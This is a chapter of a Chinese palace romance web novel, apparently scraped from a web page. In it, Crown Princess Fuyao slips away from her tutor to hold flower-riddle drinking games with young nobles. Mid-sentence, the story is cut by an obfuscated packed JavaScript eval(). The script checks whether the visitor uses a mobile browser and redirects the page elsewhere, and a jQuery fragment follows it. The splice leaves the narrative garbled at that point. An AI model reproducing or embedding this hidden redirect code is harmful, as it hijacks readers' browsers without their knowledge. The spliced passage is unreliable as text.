雪过初晴,宋淮每日进宫批奏折,中午与扶摇在广扬殿用午膳,又被她安排在西侧殿歇晌。
“少傅,您先歇着,奴婢就在外间守着,等您睡醒,奴婢再打水来给您洗漱。”
沈兴面上带笑,较之从前的客气,如今明显恭敬了太多。
宋淮站在西侧寝屋中,向沈兴微微躬身,“沈公公不必多礼,我这里无事,更何况还有小内侍在,你快去殿下那边吧。”
扶摇不仅派了四名小太监伺候宋淮,还让沈兴也跟着。
沈兴在宫里做到太女殿下身边的大内总管,心思是极机敏的,虽不愿离开殿下,去伺候宋少傅,但殿下吩咐了,他表面上依旧堆出十二分的欢喜来。
“少傅放心,殿下身边有汪公公,您在宫里,不管何事,尽管吩咐奴婢便是,殿下那边,也是特意交代过的,让奴婢好生伺候着。”
宋淮便不多推辞,只颔首道:“那就劳烦沈公公了。”
沈兴笑着行礼:“哪里哪里,少傅再客气,就是折煞奴婢了。”
语毕,见宋淮笑微微的,便再行礼道:“那就不打扰少傅休息了。”
沈兴走后,宋淮环视周遭,但见屋内起卧用具,是清一色的紫檀,做工精湛,缕刻云纹,榻上云锦被褥,蝉翼纱幔,靠窗的高几上,白玉龙首熏炉里燃着混有龙涎的檀香。
鲛绡宝罗帐,精雕紫檀榻,宋淮望着那缕袅袅上浮的青烟,恍惚今夕何夕,那个十八岁从江南出走,只为离家的单薄少年,怎会想到,他的人生有这样的际遇。
.
连着几日,扶摇按照约定,安安心心在御书房陪着宋淮批折子,眼见他差不多理清思路了,便开始心猿意马起来。
“殿下怎么了?”宋淮悬笔侧首,望向身旁如坐针毡的扶摇:“可是哪里不适?”
扶摇冲宋淮憨憨一笑,“……总感觉,今日这身衣裳有些刺挠。”
宋淮双眸静静落在扶摇身上。
在他沉静如水的目光下,扶摇感觉自己那点小心思在他面前暴露无遗。
就在她心下坠坠时,却见他唇边掠过一丝浅笑,嗓音低柔道:“那便回去换一件吧。”
扶摇一怔,霎时欢喜,如蒙大赦般忙搁下手中羊毫,起身道:“我去去就来。”
走到候在一旁的沈兴面前时,又道:“给少傅续茶,再去拿些糕点来,对了,御膳房的老吊梨汤熬得好,拿两盅来给少傅润润喉,冬季气候干燥,多喝梨汤是极好的。”
程皇后是极温柔体贴的女子,扶摇耳濡目染,若想好生照拂一个人,亦是信手拈来。
只不过她是高高在上的太女殿下,从来只有别人伺候她的份,她又怎会顾念旁人,除了程执玉,也只有宋淮得了这份殊荣。
然而扶摇的去去就来,就是去了之后再也没来,连午膳也没回广扬殿用,只让身边宫女来向宋淮说,她被太妃留在慈宁宫了。
其实哪里是在慈宁宫,扶摇此刻正在暖阁与宁洵等人行酒令猜花谜。
宴席开在暖阁楼上,在奇花异草间,扶摇与安宁居靠窗的上首位,其下是宁洵等六名王孙公子列位席上。
众人行过一巡,都推扶摇先出题,扶摇便也没客气,笑道:“行,那我就先出一道试试水。”
他们用屋中的花儿来行令猜花谜,但听扶摇道:“孤山处士裁云袂,和靖先生数玉钱。”
扶摇这题,倒是不难,用的是和靖先生梅妻鹤子的典,一时间,众人都猜了出来,都道:“梅花。”
就连平时不爱读书的宁洵也马上猜到了,他咧嘴一笑:“殿下这是先给咱们尝点甜头,放个简单的,待会儿就杀得我们片甲不留。"
扶摇着一袭胭脂雪的宫装,是浮光锦的面料,行动间,光动彩摇,飞鹤纹样珍珠镶边,高挽的云鬓上金冠璀璨,珍珠步摇在宫灯的映照下,晃动出莹润流光。
即使如此金玉堆簇,也掩不住扶摇的绝丽姿颜,弯如新月的黛眉下,一双眼灵动璨亮,宛若星辰,她含笑顾盼,“那你可要上心了。”
一时,众人都笑了,宁洵挠挠脑袋,直呼:“殿下手下留情。”
扶摇上轮作为令官输了,抬手饮下杯中果酒,道:“九仪,你来,你是正经进士出身,出一道花谜难倒他们。”
谢九仪一身月白锦袍,风流翩然,在一众鲜衣怒马的王孙中,显出几分出尘的气质,他作为清流世家中最出色的子弟,此刻面上微微带笑,起身行礼道:“殿下谬赞了。”
扶摇摆手,让他坐下,“都别拘着,咱们今日就是玩儿的,没有殿下也没有臣子。”
众人拱手道是。
安宁公主身着浅淡的星蓝宫装,坐在扶摇身旁,笑容晏晏的,倒是不怎么说话。
谢九仪环视周遭花木,思忖片刻,道:“鲛人夜泣成珠处,留待韩湘解玉箫。”
一时间,众人苦思,又见屋子牡丹,兰桂等花,都道不是。鲛人夜泣,鲛人之泪,是为珍珠,而白色的花,这边就有茉莉、百合、白莲……一时猜不到。
正胶着,忽然安宁公主道:“谢公子这花谜,恐怕不妥吧。”
扶摇含笑附和,“对,花都没开,自罚三杯。”
谢九仪垂眸笑了,“殿下罚得是。”说着,斟酒自饮了三杯。
众王孙见几人说话像打机锋似的,知道殿下和安宁公主都猜出来了,不禁有些急,宁洵大恨,道:“殿下只说赏花,也不提前告诉行酒令,早知道,就喊上庭风了。”
扶摇知道他说的是安平侯府易家的易庭风,这人在京中王孙里,处境颇有几分尴尬,但相貌却生得极好,仿若上天精雕细琢的完美之作。
“哦,他诗词这般好?那下回叫上他来。”扶摇道。
她没注意到,身旁安宁笑容微滞,还一个劲儿让她解题。
安宁片刻回神,温声笑道:“前句鲛人泣珠,出自《搜神记》,但却暗指的是扬州琼花观。后句留待琪树下仙乡,是用北宋王禹偁的《后土庙琼花诗》。”
安宁解谜后,引得宁洵直骂:“我看殿下还是罚得轻,暖阁的那株琼花还是树,他就出题了。”
扶摇笑了,“自己猜不出来,还寻借口,快喝,我瞧着呢。”
宁洵白净俊气,才是十五岁的少年郎,脸上犹带稚气,一脸笑嘻嘻的,抬手满饮杯中酒,又现出杯底给扶摇看,“没猜到自然该罚。”
其余王孙也罚了一杯。
锦年醉序,烛影摇红,繁花锦缎堆中,酒令不断,觥筹欢谑间,王孙公子们惊心,从前只道殿下年少,是有些将她当小女孩儿看待的。而今,太女殿下已然长成,姿容明艳不可方物,眉宇间隐含上位者的凌然,与外头温婉的闺秀们大为不同。
宁洵胆子大,出了几个男子们在外宴饮时诙谐的酒令,引得扶摇笑骂:“亏你想得出这些歪题,不行不行,不雅致,该罚!”
宁洵听话地罚了酒,偷看殿下模样,不是真的不喜,便放下心来,继续饮酒猜花谜。
一时间,寒风凛冽的冬日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298392|163881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,倒叫他们将春词说尽了。
最后扶摇出了个:“沉香亭北刀影乱,夜半磷粉吐新丹。”
众人好一番思量,最后只安宁和谢九仪猜出是牡丹,宁洵直呼:“殿下您可饶了我,现了谜底我都闹不明白,沉香亭北这句我知道,是李太白作玄宗与杨贵妃赏牡丹的场景,而夜半吐新丹又是什么典故?”
谢九仪替扶摇解题,“传言北宋的《夜照白牡丹图》,用磷粉绘花,在夜里灯光下,花影浮动,宛若徐徐盛开,这便是夜半吐丹的由来。”
扶摇虽也不爱读书写字,但到底是自小由大儒们教出来的,这些典故用词是熟知的。
如此玩乐一日,扶摇喝了一盅果酒,花靥酡红,被安宁扶上轿前,还道:“宁洵,明日咱们再来行酒令,叫上易庭风,让他与九仪两个打擂台。”
说是明日,但扶摇哪里敢这么放肆,不仅是担心秦王责备,就单单少傅在御书房帮她勤勤恳恳批折子、写功课,扶摇也不好意思一味玩乐。
于是便乖了几日,即使不批折子,也在御书房作陪。
这日太妃派人来请扶摇过去用膳,说是想打叶子牌了,扶摇正也无趣,便欣然前往。
用过晚膳后,就热热闹闹开了牌局,还是捉汪公公来凑角儿,扶摇一连赢了二十多两银子,笑得见牙不见眼,“今儿财神爷坐镇我这方啰。”
老太妃笑道:“我劝你少得意些,不然出错了牌,我们可不让你的,有的是先赢后输呢。”
扶摇哼了声,笑眯眯的收拢手中牌。
老太妃坐扶摇对面,目光落在她脸上,恍似不经意道:“上回你们在暖阁玩儿,怎么不叫你慎表哥,他对花花草草很有一番研究的……”
扶摇愣了愣,上回是让人传话给宁洵,叫他喊几个人来玩儿,他没有叫上裴慎,她自然也忘记了。
这时扶摇便随口答应:“行,下回喊上慎表哥。”手上着挑拣牌面,一副漫不经心的样子。
老太妃观扶摇这样儿,是对裴慎完全没有心的,或许在她那里,她家裴慎还不如宁洵、谢九仪等人来得讨喜。
太妃不由气闷。
十月初,扶摇一连组了好几场宴席,这次新增了裴慎和易庭风,众人或行花令,或射覆,或投壶等,却也有趣。
裴慎在侍花弄草方面倒是确有一番见解,还与宫里花匠论心得,扶摇瞧他这样,不似作伪,便认真听他们论一朵花的由来,一株草的变种,也甚为有趣。
易庭风不愧被宁洵称赞诗词精通,与正经科举出来的谢九仪也能打个平手,这里王孙公子们样貌不俗,而易庭风更是其间佼佼者。
不同于程执玉的俊朗英气,宋淮的清润端方。易庭风是男生女相,极其俊美风流,笑时,面上仿佛光华流转,不笑时,又若玉树装成。
有时瞧着他,竟连扶摇也微微晃了神,心中暗叹,也只有那位美貌盛极的安平侯夫人,才能生出此等妖孽。
这日扶摇又玩了一天,入夜时,汪公公呈上一封书信,扶摇见上面是表哥的字迹,忙拆开来看,得知他已到塞北,在军营里等父皇到了便开战,信里问她可还安好?在宫里玩些什么?奏折能不能批完?秦王有没有为难她?
诸多事宜,洋洋洒洒写了两页纸,最后道:“挑选侧夫的事,不宜操之过急,等我回来,亲自甄选。”
扶摇面露微笑的脸上,在看到最后一句时,收敛了笑意。
凭什么他说选就选,他说停就停,她的侧夫,偏要自己选。